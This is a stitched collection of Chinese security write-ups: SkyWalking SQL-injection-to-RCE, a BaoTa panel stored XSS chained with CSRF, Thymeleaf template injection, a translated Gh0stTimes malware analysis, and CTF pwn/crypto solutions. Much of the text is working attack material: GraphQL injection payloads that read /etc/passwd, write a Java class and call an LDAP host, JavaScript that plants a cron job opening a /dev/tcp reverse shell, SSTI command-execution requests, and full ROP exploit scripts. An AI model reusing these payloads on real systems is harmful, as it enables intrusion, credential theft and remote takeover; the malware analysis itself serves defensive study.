77@ubuntu130130:~/repos/apache-skywalking-apm-8.3.0/apache-skywalking-apm-bin/config$ date
Mon Feb 8 19:24:27 PST 2021
加载类之后：
77@ubuntu130130:~/tmp$ ll /tmp/pwned_by_cqq2
-rw-rw-r-- 1 77 77 0 Feb 8 19:25 /tmp/pwned_by_cqq2
77@ubuntu130130:~/tmp$ date
Mon Feb 8 19:25:54 PST 2021
### PoC
读文件：
{"query":"query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}","variables":{"condition":{"metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where ?=1 or ?=1 or 1=1--","paging":{"pageNum":1,"pageSize":1},"state":ALL, "queryDuration":{"start":"2021-02-07 1554","end":"2021-02-07 1554","step":"MINUTE"}}}}
JNDI注入:
{"query":"query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}","variables":{"condition":{"metricName":"(select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'javax.naming.InitialContext', 'ldap://192.168.85.1:1389/Exploit', 'sa', 'sa', 'PUBLIC'))) --","paging":{"pageNum":1,"pageSize":1,"needTotal":true},"state":ALL, "queryDuration":{"start":"2021-02-07 1554","end":"2021-02-07 1609","step":"MINUTE"}}}}
写文件：
{"query":"query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n total\n }}","variables":{"condition":{"metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_WRITE('cafebabe00000034002f0a000b001509001600170800180a0019001a0a001b001c08001d0a001b001e07001f0a000800200700210700220100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100083c636c696e69743e01000d537461636b4d61705461626c6507001f01000a536f7572636546696c6501000c4578706c6f69742e6a6176610c000c000d0700230c0024002501000b72756e2043616c632e2e2e0700260c002700280700290c002a002b010017746f756368202f746d702f70776e65645f62795f6371710c002c002d0100136a6176612f6c616e672f5468726f7761626c650c002e000d01000f636f6d2f6371712f4578706c6f69740100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f53797374656d0100036f75740100154c6a6176612f696f2f5072696e7453747265616d3b0100136a6176612f696f2f5072696e7453747265616d0100077072696e746c6e010015284c6a6176612f6c616e672f537472696e673b29560100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b54726163650021000a000b0000000000020001000c000d0001000e0000001d00010001000000052ab70001b100000001000f0000000600010000000300080010000d0001000e0000005b000200010000001ab200021203b60004b800051206b6000757a700084b2ab60009b1000100000011001400080002000f0000001a000600000006000800070011000a00140008001500090019000b0011000000070002540700120400010013000000020014', 'config/Exploit.class') where ?=1 or ?=1 or 1=1 --","paging":{"pageNum":1,"pageSize":1,"needTotal":true},"state":ALL, "queryDuration":{"start":"2021-02-07 1554","end":"2021-02-07 1609","step":"MINUTE"}}}}
加载写入的文件类，实现任意代码执行：
{"query":"query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}","variables":{"condition":{"metricName":"(select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'Exploit1', 'test', 'sa', 'sa', 'PUBLIC'))) --","paging":{"pageNum":1,"pageSize":1,"needTotal":true},"state":ALL, "queryDuration":{"start":"2021-02-07 1554","end":"2021-02-07 1609","step":"MINUTE"}}}}
### 参考
* [Skywalking远程代码执行漏洞预警](https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw)
* [[CVE-2020-9483/13921]Apache SkyWalking SQL注入](https://blog.csdn.net/caiqiiqi/article/details/107857173)
* [JavaWeb中的信息泄漏——H2 database](https://www.sec-in.com/article/827)
* <http://www.h2database.com/h2.pdf?license.html>
* <https://github.com/apache/skywalking/commit/0bd81495965d801315dd7417bb17333ae0eccf3b> | 社区文章 |
# 【前言】
什么是宝塔面板？
宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱，下载量过百万。
# 【漏洞代码分析】
在6.x linux版本宝塔面板当中当中，相对与5.x版本，记录了验证码错误并存入数据库当中，存储xss缺陷就是在此处产生。
我们直接看漏洞代码。
直接分析post请求部分。
代码如下：
我们可以看到这里首先判断了是否有 用户名密码，然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1
记录一下，随后将错误次数大于1的用户名的和密码都进行了记录。
从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误
关键的代码如下：
此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面，找到如下函数
这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。
可以在宝塔数据库当中，看到logs数据库里存储的信息
# 【漏洞复现】
我们直接在面板登录处，随便输入一个账号密码，触发失败，要求输入验证码。
由于没有任何过滤处理，我们直接输入弹窗的payload：<script>alert('www.dafsec.org')</script>
登录后台后，打开安全模块，成功触发弹窗。
由于服务器管理面板的特殊性，后台可以进行敏感操作。手写js远程调用，利用csrf漏洞在计划任务处配合存储xss，可成功反弹shell，弹shell成功截图如下：
远程调用的js代码如下：
function addTask(TaskName, execTime, ip, port) {
var execShell = 'bash -i >& /dev/tcp/your_ip/your_port 0>&1';
execShell = encodeURIComponent(execShell);
var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined'
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=AddCrontab', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(params);
}
function execTask(TaskName) {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=GetCrontab', true);
xhr.send();
xhr.onload = function () {
if (this.readyState == 4 && this.status == 200) {
var res = JSON.parse(this.responseText);
if (res[0].name == TaskName) {
var TaskID = res[0].id.toString();
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=StartTask', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var params = 'id=' + TaskID;
xhr.send(params);
delTask(res[0].id);
console.log(res[0].id);
return res[0].id;
}
}
}
}
function delTask(TaskID) {
var params = 'id=' + TaskID.toString();
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=DelCrontab', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(params);
}
var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);
# 【后序】
宝塔官方已修复该漏洞，但仍有大量存在漏洞主机暴露于公网，请及时更新至最新版本。
官方已修复该漏洞，漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py
**嘤嘤嘤~打个小广告，DAF团队收人，pwn选手，web选手，一起打比赛挖洞技术交流~有意请投递简历至[email protected]** | 社区文章 |
# spring-boot-thymeleaf-ssti
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
spring-boot下的thymeleaf模板注入挺有趣的，本文尝试对该漏洞一探究竟，如有谬误，还请同学们指教。
`https://github.com/veracode-research/spring-view-manipulation`
本文使用该项目给出的demo进行调试分析，其中，`spring-boot`版本为`2.2.0.RELEASE`，
## 启动
### 自动装配
首先，我们知道，在配置好spring-boot情况下，加入如下thymeleaf的mvn依赖，就可以实现thymeleaf的自动配置。
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
`thtmyleaf`的自动配置类为`org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration`
### 排序viewResolvers
我们可以看到，在`o.s.w.s.v.ContentNegotiatingViewResolver#initServletContext`方法中，对`viewResolvers`进行初始化，初始化后包含了多个视图解析器（模板引擎），包括
`BeanNameViewResolver`、`ViewResolverComposite`、`InternalResourceViewResolver`、`ThymeleafViewResolver`。
查看`ThymeleafViewResolver`源码，发现其`order`值为`Integer.MAX_VALUE`，通过`sort`方法排序过后的结果如下图所示（`BeanNameViewResolver`也是Integer.MAX_VALUE）：
具体代码流可以参考这里的堆栈信息：
getOrder:282, ThymeleafViewResolver (org.thymeleaf.spring5.view)
...
initServletContext:206, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)
...
refresh:550, AbstractApplicationContext (org.springframework.context.support)
...
refreshContext:397, SpringApplication (org.springframework.boot)
run:315, SpringApplication (org.springframework.boot)
...
## 视图解析
### 获得视图解析器
`org.springframework.web.servlet.DispatcherServlet#render`：用户发起的请求触发的代码会走到这里获取视图解析器，随后从`resolveViewName`获得最匹配的视图解析器。
`org.springframework.web.servlet.view.ContentNegotiatingViewResolver#resolveViewName`：在该方法中，先是通过`getCandidateViews`筛选出`resolveViewName`方法返回值不为null（即有效的）的视图解析器；之后通过`getBestView`方法选取“最优”的解，`getBestView`中的逻辑简而概之，优先返回重定向的视图动作，然后就是根据用户HTTP请求的`Accept:`头部字段与`candidateViews`数组中视图解析器的排序获得最优解的视图解析器，而前面所讲到的`viewResolvers`的排序正是参与决定了这一排序决策。
resolveViewName:227, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)
resolveViewName:1414, DispatcherServlet (org.springframework.web.servlet)
render:1350, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
...
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
...
### 获得视图解析器名称
`org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod`：该方法为获取视图名称的关键点，其中首先会调用`invokeAndHandle`（下面会讲该方法内的逻辑），之后返回`getModelAnView`方法执行结果的返回值。
`o.s.w.s.m.m.a.ServletInvocableHandlerMethod#invokeAndHandle`:在该方法中，会尝试获取前端控制器的return返回值，也就是说，如果前端Controller返回值中直接拼接了用户的输入，相当于控制了该视图名称；另外，当用户自定义的Controller方法的入参中添加了`ServletResponse`，这里的`invokeForRequest`中会触发`ServletResponseMethodArgumentResolver#resolveArgument`将`mavContainer`的`requestHandled`设置为`true`，而`mavContainer.isRequestHandled()`为`true`导致了`getModelAndview（...）`返回值为null，也就不会有后面的漏洞触发流程。
`org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#getModelAndView`：如果`mavContainer.isRequestHandled()`为`true`，直接返回null。
`org.springframework.web.servlet.DispatcherServlet#applyDefaultViewName`：另外，如果前端Controller的方法返回值为null，即void方法类型，前面的流程无法拿到视图名称，后面会调用`applyDefaultViewName`方法将URI路径作为视图名称。
`org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#transformPath`：在将URI设置为视图名称的代码流程中，调用了该方法对URI进行格式调整，其中包括去除URI扩展名称。
...
getViewName:172, DefaultRequestToViewNameTranslator (org.springframework.web.servlet.view)
getDefaultViewName:1391, DispatcherServlet (org.springframework.web.servlet)
applyDefaultViewName:1087, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1046, DispatcherServlet (org.springframework.web.servlet)
。。。
### 使用视图解析器
`org.thymeleaf.spring5.view.ThymeleafView#renderFragment`：这里是漏洞触发的关键逻辑点之一，如果用户的输入拼接到了视图名称中，即控制了`viewTemplateName`变量。通过浏览代码，我们可以了解到，首先视图模板名称中需要包含`::`字符串，否则不会走入表达式执行代码中。
上图的`o.t.s.e.StandardExpressionParser#parseExpression`不重要，我们这里略过，其随后会走到`org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess`方法：这里的`input`变量就是上面`viewTemplateName`前后分别拼接了`~{`、`}`后的字符串，随后这里使用`PREPROCESS_EVAL_PATTERN`正则对`input`进行匹配，正则内容为`\_\_(.*?)\_\_`
，随后获取正则命中后的元组内容，即非贪婪匹配的`.*?`，随后讲该元组内容传入`parseExpression`方法并在这里触发了EL表达式代码执行。
## POC构造
由触发的代码流程梳理可以得出触发表达式的条件：
①用户传入的字符串拼接到了Controller方法的返回值中且返回的视图非重定向（前面流程可用知晓，重定向优先级最高），或URI路径拼接了用户的输入且Controller方法参数中不带有`ServletResponse`类型的参数；
②视图引擎名称中需要包含`::`字符串；
③被执行表达式字符串前后需要带有两个下划线，即`__${EL}__`；
④如果Payload在URI中，由于URI格式化的原因且我们的Payload中带有`.`符号，所以需要在URI末尾添加`.`。
于是，我们可以构造出与作者有所差异的POC
POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
lang=::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}_______________
如果我们要利用该漏洞干点啥，建议还是结合BCEL一类的方式来利用更加方便（不过JDK251后BCEL使用不了），win弹计算器：
POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1010
lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________
## 结语
spring-boot的自动化配置为开发部署带来了极大的便捷，这也对我们深入底层问题提搞了学习成本。该模板注入问题十分巧妙，起初让人感到不可思议。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html>**
## 前言
自2018年以来，黑客组织BlackTech一直在频繁攻击日本组织。虽然它不像以前那么突出，日本计算机应急响应协调中心(JPCERT/CC)现在仍然可以看到它的一些案例。这篇文章介绍了恶意软件Gh0stTimes的详细信息。
## Gh0stTimes概述
Gh0stTimes是基于Gh0st RAT定制的，自2020年以来已经在一些攻击案例中使用。下图显示了Gh0stTimes和Gh0st RAT代码的比较。
图1(左:Gh0stTimes /右:Gh0st RAT) 这两组代码都是用于文件操作的函数，它们几乎是相同的。Gh0stTimes对许多Gh0st
RAT函数进行了升级，但代码的某些部分仍保持原样。下一节将展示Gh0stTimes的特性。
* 通信协议
* 命令
* 伪代码
* C2服务器控制面板
## 通信协议
与Gh0st RAT一样，Gh0stTimes与C2服务器通信时使用自定义协议，但包格式不同。下图显示了通信流程。
图2
在与C2服务器通信的开始阶段，Gh0stTimes发送一个身份验证ID和数据(图2中的“密钥”)，以生成用于后续通信的加密密钥。C2服务器检查身份验证ID，只接受与特定身份ID的通信。图3显示了特定身份验证id的示例。
图3 身份验证成功后，接下来的通信将使用通信开始时提供的密钥进行加密。下一轮通信与受感染主机的信息有关，如主机名、用户名和处理器名(图4)。
图4
发送受感染主机信息后，命令就交换了（数据交换的格式见附录A）。在交换命令时，数据是`RC4`加密的，然后是`zlib`压缩的。Gh0stTimes使用其自定义RC4算法，该算法对加密数据进行`XOR
0xAC`处理。
图5 下面是用来解码交换数据的Python代码。
import zlib
# Load keydata for first packet
with open(args[1], "rb") as fb:
keydata = fb.read()
# Load encoded packet data
with open(args[2], "rb") as fb:
data = fb.read()
comp_data = custom_rc4(data[12:], keydata[5:21])
dec_data = zlib.decompress(comp_data)
def custom_rc4(data, keydata):
key = []
key_1 = [0x98, 0x19, 0x3C, 0x56, 0xD9, 0xBB, 0xC7, 0x86, 0xFF, 0x3E]
key_2 = [0] * 16
key_3 = [0xAC, 0xBB, 0x30, 0x5E, 0xCC, 0xDD, 0x19, 0x23, 0xFC, 0xBD]
keybox = [7, 0, 2, 3, 9, 10, 4, 13, 14, 8, 1, 11, 5, 6, 12, 15]
i = 0
for i in range(16):
key_2[i] = keydata[keybox[i]]
key = key_1 + key_2 + key_3
x = 0
box = list(range(256))
for i in range(256):
x = (x + box[i] + key[i % len(key)]) % 256
box[i], box[x] = box[x], box[i]
x = 0
y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append((char ^ box[(box[x] + box[y]) % 256] ^ 0xAC).to_bytes(1, byteorder='little'))
return b''.join(out)
## 命令
Gh0stTimes配备了以下5种类型的命令:
* FileManager(命令号0x1):文件操作
* ShellManager(命令编号0x28):远程shell执行
* PortmapManager(命令号0x32): C2服务器重定向功能
* UltraPortmapManager(命令号0x3F):代理功能
* 无名称(命令号0):结束通信
图6 ShellManager和FileManager与Gh0st
RAT的原始功能相同。FileManager具有多种功能，可以对感染病毒的主机上的文件进行操作。(详见附录B)
PortmapManager和UltraPortmapManager是Gh0stTimes特有的两个组件，说明其中继功能相对Gh0st RAT进行了增强。
## 伪代码
BlackTech使用的某些类型的恶意软件包含伪代码，这会加大分析难度。Gh0stTimes便有这样的代码(图7)，但是它对分析没有太大的影响。
图7
## C2服务器控制面板
在分析过程中，我们发现了Gh0stTimes控制面板。图8显示了控制面板运行时的`GUI`。这个被命名为“Times v1.2”。
图8 图9显示了可以在控制面板上执行的命令。
图9
## 总结
BlackTech一直在进行攻击行动，我们将继续分析和监控。请确保您的任何设备都没有与它们通信。
我们已经确定，感染Gh0stTimes的服务器也会受到其他类型的恶意软件影响，如下载程序，后门，ELF
Bifrose和下面列出的攻击工具。请注意，这些工具可能被BlackTech使用。
* https://github.com/Yang0615777/PocList
* https://github.com/liuxu54898/CVE-2021-3019
* https://github.com/knownsec/pocsuite3
* Citrix exploit tool
* MikroTik exploit tool
* Exploit for CVE-2021-28482
* Exploit for CVE-2021-1472/CVE-2021-1473
* Exploit for CVE-2021-28149/CVE-2021-28152
* Exploit for CVE-2021-21975/CVE-2021-21983
* Exploit for CVE-2018-2628
* Exploit for CVE-2021-2135
## 附录
### 附录A：交换数据
Table A-1: Format of data sent
Offset | Length | Contents
---|---|---
0x00 | 4 | ID
0x04 | 4 | Data length xor 0x3A4BFDCC
0x08 | 4 | Data length after 0x0C before compression xor 0x7C2E56D2
0x0C | - | Encrypted data (zlib + RC4)
Table A-2: Format of data received
Offset | Length | Contents
---|---|---
0x00 | 4 | ID
0x04 | 4 | Data length xor 0xC3A2B5D2
0x08 | 4 | Data length after 0x0C before compression xor 0x68FC2AD3
0x0C | - | Encrypted data (zlib + RC4)
### 附录B: 命令
Table B: FileManager commands
Value | Contents
---|---
2 | SendFilesList
3 | UploadToRemote
4 | CreateLocalRecvFile
5 | WriteLocalRecvFile
7 | SendFileData
8 | StopTransfer
9 | DeleteFile
10 | DeleteDirectory
11 | GetFileData
12 | CreateFolder
13 | MoveFile
14 | OpenFile（SW_SHOW）
15 | OpenFile（SW_HIDE）
### 附录C:IoCs
* tftpupdate.ftpserver.biz
* 108.61.163.36([zoomeye搜索结果](https://www.zoomeye.org/searchResult?q=108.61.163.36))
* update.centosupdates.com
* 107.191.61.40([zoomeye搜索结果](https://www.zoomeye.org/searchResult?q=107.191.61.40))
* osscach2023.hicloud.tw
* 103.85.24.122（[zoomeye搜索结果](https://www.zoomeye.org/searchResult?q=103.85.24.122)）
* 106.186.121.154[（zoomeye搜索结果](http://https://www.zoomeye.org/searchResult?q=106.186.121.154 "zoomeye搜索结果")）
### 附录D: Malware hash value
* 01581f0b1818db4f2cdd9542fd8d663896dc043efb6a80a92aadfac59ddb7684
* 18a696b09d0b7e41ad8ab6a05b84a3022f427382290ce58f079dec7b07e86165
* 15b8dddbfa37317ccdfbc340764cd0f43b1fb8915b1817b5666c4816ccb98e7c
* 849ec6055f0c18eff76170912d8500d3da7be1435a9117d67f2134138c7e70c3
* f19ab3fcbc555a059d953196b6d1b04818a59e2dc5075cf1357cee84c9d6260b
* 836b873ab9807fbdd8855d960250084c89af0c4a6ecb75991542a7deb60bd119
* a69a2b2a6f5a68c466880f4c634bad137cb9ae39c2c3e30c0bc44c2f07a01e8a
* bd02ca03355e0ee423ba0e31384d21b4afbd8973dc888480bd4376310fe6af71
* * * | 社区文章 |
Time 12.1-2
Rank 2
# Pwn
## OverInt
看一下题目逻辑，如果前面通过判断，最后能有任意次数对栈的修改，可以改return address
之后ROP。看一下如何通过判断，发现需要输入的4位字符符合一定的条件并且在加法中发生一次溢出。于是爆破4位输入，得到一个可以最终进入任意修改栈的输入即可。然后ROP泄露libc，再返回main开头，再次出发漏洞
ROP 执行system
代码如下
#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./overInt",checksec=False)
context.arch=code.arch
if len(sys.argv)>1:
con=remote(sys.argv[1],int(sys.argv[2]))
#libc=ELF("./libc.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
con=code.process()
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(commond=""):
gdb.attach(con,commond)
def modify(offset,content):
con.sendafter("modify?\n",p32(offset))
con.sendafter("in?\n",content)
def modifyqword(offset,content):
content=p64(content)
for x in content:
modify(offset,x)
offset+=1
def bypass():
con.sendafter("\n",'\x00\x15\x16\x89')
#con.sendafter("\n","9777")
con.sendafter("have?\n",p32(6))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562024))
con.sendafter("\n",p32(90562025))
con.sendafter("\n",p32(90562025))
def exploit():
raw_input("#")
bypass()
con.sendafter("\n",p32(32))
ret=0x38
modifyqword(ret,0x400b13)
modifyqword(ret+8,code.got['puts'])
modifyqword(ret+16,code.plt['puts'])
modifyqword(ret+24,0x40087f)
con.recvuntil(chr(0xa))
addr = con.recvuntil(chr(0xa))
libc.address= u64((addr[-7:-1]).ljust(8,"\x00"))-libc.symbols['puts']
bypass()
con.sendafter("\n",p32(24))
modifyqword(ret,0x400b13)
modifyqword(ret+8,libc.search("/bin/sh").next())
modifyqword(ret+16,libc.symbols['system'])
exploit()
con.interactive()
## Code
过一个哈希检查就可以栈溢出，哈希函数名字叫angr_hash，猜测出题人应该是考察angr，但是我自己写的跑不出来。于是先黑盒测试一下哈希函数，发现输入前面的第一个字节和哈希的第一个字节基本是对应的，于是可以爆破，手动试了一下应该是5字节，第一位是w，于是直接爆破后面的几位，找出一个符合条件的值。
def hash(s):
h=0
for i in s:
v0=117*h+ord(i)
h=v0-0x1D5E0C579E0*(((((0x8B7978B2C52E2845 * v0) >> 64) + v0) >> 40) - (v0 >> 63))
return h
d='wabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d2='xyzabcdefghijklmnopqrstuvwABCDEFGHIJKLMNOPQRSTUVWXYZ'
d3='jklmnopqrstuvabcdefghiwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d4='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d5='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in d:
for j in d2:
for k in d3:
for l in d4:
for m in d5:
if hash(i+j+k+l+m) == 0x53CBEB035:
print (i+j+k+l+m)
得到符合条件的解`wyBTs`
然后就可以栈溢出ROP，先用puts泄露libc基址，然后跳回main再来一次直接system("/bin/sh")
完整利用脚本如下：
from pwn import *
HOST = "58.20.46.150"
PORT = 38533
code = ELF('./code')
s = remote(HOST, PORT)
#s = process('./code')
context.arch = code.arch
context.log_level = 'debug'
puts_addr = code.plt['puts']
puts_got_addr = code.got['puts']
main_symbol = code.symbols['main']
s.sendlineafter(':\n', 'wyBTs')
payload = flat(['a'*120, 0x400983, puts_got_addr, puts_addr, main_symbol] )
s.sendlineafter('save\n',payload)
print 'a',s.recvuntil('\x0a')
libc_puts = u64(s.recvuntil('\x0a')[:6]+'\x00\x00')
libc_base = libc_puts - 0x6f690
print hex(libc_puts)
print hex(libc_base)
s.sendlineafter(':\n', 'wyBTs')
payload = flat(['a'*120, 0x400983, libc_base+0x18cd57, libc_base+0x45390, main_symbol] )
s.sendlineafter('save\n',payload)
s.interactive()
#flag{15c3ac74e25f96a282c2821008431557}
## Note
堆可执行。Note的编辑都有边界检查，但在检查之后有栈溢出可以覆盖局部变量，从而编辑Note时越界写到GOT表上，从而跳到堆上，堆上摆好shellcode即可。
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
#import os
code = ELF('./note', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
def add(idx, data):
r.sendline('1')
r.sendline(str(idx))
r.sendline('13')
data = flat(data)
r.sendline(data)
def exploit(r):
r.recvuntil('404')
r.sendline('1')
r.sendline('0')
r.send(flat('13'.ljust(10, '\x00'), p32((-8)&0xffffffff), '\n'))
sc = asm('''
start:
xor rax, rax
syscall
dec edx
mov rsi, rcx
jmp start
''')
r.sendline(sc)
r.sendline('5')
r.sendline( '\x90'*30+ "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" )
r.interactive()
## Random
第一个漏洞是printf泄漏,但无法任意写。第二个漏洞在于fclose之后没有清空指针，从而可以用scanf控制fs内容，在fread里控制PC。
脚本如下：
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
#import os
code = ELF('./random', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
#gadget = lambda x: next(code.search(asm(x, os='linux', arch=code.arch)))
#context.terminal = ['tmux', 'new-window']
#debug = lambda : gdb.attach(r) #, gdbscript='b *{:#x}'.format(code.address+0x10EE))
def doopen():
r.sendline('1')
def doclose():
r.sendline('3')
def exploit(r):
doopen()
sleep(0.1)
doclose()
sleep(0.1)
r.sendline('2')
sleep(0.1)
r.sendline('%c'*401 + '@%p'*10 + 'AAA')
sleep(0.1)
tmp = r.recvuntil('AAA')
tmp = tmp.split('@')
canary = int(tmp[-10], 16)
stack = int(tmp[-4], 16)
libc.address = int(tmp[-6], 16) - libc.sym['__libc_start_main'] -0xf0
code.address = int(tmp[-7], 16) - 0xd70
info('%016x libc.address', libc.address)
info('%016x code.address', code.address)
info('%016x canary', canary)
info('%016x stack', stack)
addr = stack - 0xd58
ff = flat(libc.address+0xf1147, 1, 2, 3, 4, 0, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, code.address+0x202800, 18, 19, 20, 21, 22, 23, 24, 25, 26, addr-0x40, 28, 29)
sleep(0.1)
r.sendline('1')
sleep(0.1)
r.sendline(ff)
sleep(0.1)
r.sendline('0')
r.interactive()
# Crypto
## Easy crypto
题目直接给了key，需要自己写解密函数。看一下加密函数，就是AES加密中间，对每个block都异或了iv，最后还把iv作为密文头部返回。只需要写一个逆操作就可以了。
解密代码如下：
#!usr/bin/python
#_*_ coding=UTF-8 _*_
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from Crypto import Random
import sys
class aesdemo:
#aes = AES.new(key,mode)
def __init__(self,key):
self.key = key
#self.BS=BS
def pad(self,msg):
#BS = AES.block_size
# aes数据分组长度为128 bit
byte = 16 - len(msg) % 16
return msg + chr(byte) * byte
def unpad(self,msg):
if not msg:
return ''
return msg[:-ord(msg[-1])]
def xor(self,a, b):
#assert len(a) == len(b)
return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])
def split_by(self,data,step):
return [data[i : i+step] for i in xrange(0, len(data), step)]
def encrypt(self, plaintext):
# 生成随机初始向量IV
iv = Random.new().read(16)
aes = AES.new(self.key,AES.MODE_CBC,iv)
prev_pt = iv
prev_ct = iv
ct=""
msg=self.pad(plaintext)
for block in self.split_by(msg, 16):
ct_block = self.xor(block, prev_pt)
ct_block = aes.encrypt(ct_block)
ct_block = self.xor(ct_block, prev_ct)
ct += ct_block
return b2a_hex(iv + ct)
def decrypt(self,cipher):
c=a2b_hex(cipher)
iv=c[:16]
cipher=c[16:]
aes = AES.new(self.key,AES.MODE_CBC,iv)
prev_pt = iv
prev_ct = iv
pl=""
msg=cipher
for block in self.split_by(msg, 16):
p_block = self.xor(block, prev_pt)
p_block = aes.decrypt(p_block)
p_block = self.xor(p_block, prev_ct)
pl += p_block
return self.unpad(pl)
# 测试模块
